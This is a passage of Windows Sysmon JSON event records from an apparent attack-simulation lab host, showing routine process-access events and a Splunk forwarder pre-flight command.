C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3521,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3522,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3523,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.714\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010363D0500}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.714","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010363D0500}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3524,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.949\r\nSourceProcessGUID: {90617006-407D-5F2D-0000-0010363D0500}\r\nSourceProcessId: 884\r\nSourceThreadId: 868\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.949","SourceProcessGUID":"{90617006-407D-5F2D-0000-0010363D0500}","SourceProcessId":"884","SourceThreadId":"868","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3525,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:29.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-407D-5F2D-0000-0010363D0500}\r\nTargetProcessId: 884\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:29.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-407D-5F2D-0000-0010363D0500}","TargetProcessId":"884","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.035\r\nProcessGuid: {90617006-407E-5F2D-0000-001091400500}\r\nProcessId: 4612\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nParentProcessId: 4352\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.035","ProcessGuid":"{90617006-407E-5F2D-0000-001091400500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","ParentProcessId":"4352","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nSourceProcessId: 4352\r\nSourceThreadId: 2516\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-001091400500}\r\nTargetProcessId: 4612\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","SourceProcessId":"4352","SourceThreadId":"2516","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-001091400500}","TargetProcessId":"4612","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+18274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407E-5F2D-0000-001091400500}\r\nTargetProcessId: 4612\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:30.027","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407E-5F2D-0000-001091400500}","TargetProcessId":"4612","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:30.027\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 